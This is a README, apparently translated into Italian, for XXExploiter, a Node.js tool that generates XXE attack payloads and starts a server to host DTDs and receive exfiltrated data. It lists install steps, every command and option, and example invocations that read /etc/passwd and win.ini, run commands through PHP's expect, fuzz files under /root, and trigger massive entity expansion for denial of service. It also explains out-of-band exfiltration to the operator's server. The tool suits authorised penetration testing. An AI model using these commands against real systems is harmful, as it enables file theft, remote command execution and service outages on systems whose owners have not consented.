
Strumento per aiutare a sfruttare vulnerabilità XXE

Genera i payload XML e avvia automaticamente un server per servire i DTD necessari o per effettuare l'exfiltrazione dei dati.
#installa node e npm se non li hai ancora
npm install -g xxexploiter
Questa è una semplice applicazione Node scritta con TypeScript. Puoi compilarla come qualsiasi altra app: (installa node e npm prima, se non li hai)
npm install
npm run build
#potrebbe essere necessario eseguire npm install typescript -g affinché 'npm build' funzioni
Per eseguire l'app puoi farlo in uno di 3 modi:
npm start [args]
node dist/index.js [args]
npm link #e ora chiama semplicemente xxexploiter
Oppure puoi installarlo sul tuo sistema:
npm link
Usage: xxexploiter [command] [options]
Commands:
xxexploiter file [file_to_read] Use XXE to do a request
xxexploiter request [URL] Use XXE to do a request
xxexploiter expect [command] Use XXE to execute a command through PHP's expect
xxexploiter xee [expantions] Generate a huge content by resolving entities
Fuzzing Specific Options
-w, --wordlist Path to a wordlist to be used with the fuzz command. Use {{FUZZ}} placeholder in the command arg
for the magic.
-y, --success-string String to search for a success response in the requests. Not usefull for blind attacks
-n, --error-string String to search for an error response in the request. Not usefull for blind attacks
Options:
--version Show version number [boolean]
-s, --server Server address for OOB and DTD
-p, --port Server port for OOB and DTDs. Default: 7777
-t, --template path to an XML template where to inject payload
-m, --mode Extraction Mode: xml, oob, cdata. Default: xml
-e, --encode Extraction Encoding: none, phpbase64. Default: none
-o, --output Output for the XML payload file. Default is to console
-x Use a request to automatically send the xml file
-X, --request-output Output the response from -x option. If not defined goes to stdout
--verbose Enable some messages help for understanding whats happening
--doctype Specify the name of the doctype to be injected. Default is xxexploiter
-h, --help Show help [boolean]
Examples:
xxexploiter expect ls
xxexploiter -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
xxexploiter xee 900000000 -o output.xml
xxexploiter file /etc/passwd -x request.txt -t template.xml
xxexploiter file /root/{FUZZ} -w wordlist.txt -n "not found" -x request.txt
Extra Info:
- When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to
be injected
- When specifiying file paths for windows use forward slash.
- OOB: Out Of Bound: You can use this option to send the data processed by the xml parser, to your local webserver.
Usefull with blind attacks
- When using XML mode, it may break the XML parsing if XML reserved characters are loaded, so you may want to use
cdata
- When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}
- When fuzzing you can add the {{FUZZ}} keyword in the main command argument.
- You can specify a string to filter successfull requests when fuzzing, either by supplying an expected error string,
or an expected success string
Se scegli di utilizzare la modalità OOB o CDATA, XXExploiter genererà i DTD necessari da includere e avvierà un server per ospitarli. Tieni presente che se utilizzi queste opzioni devi impostare l'indirizzo del server.
Se includi contenuto nel corpo dell'XML, tieni presente che caratteri XML riservati come '<' potrebbero rompere il parsing, quindi assicurati di utilizzare CDATA o PHP's base64encode.
La maggior parte dei linguaggi limita il numero di espansioni delle entità, o la lunghezza totale del contenuto espanso, quindi assicurati di testare XEE prima sulla tua macchina, con le stesse condizioni del target.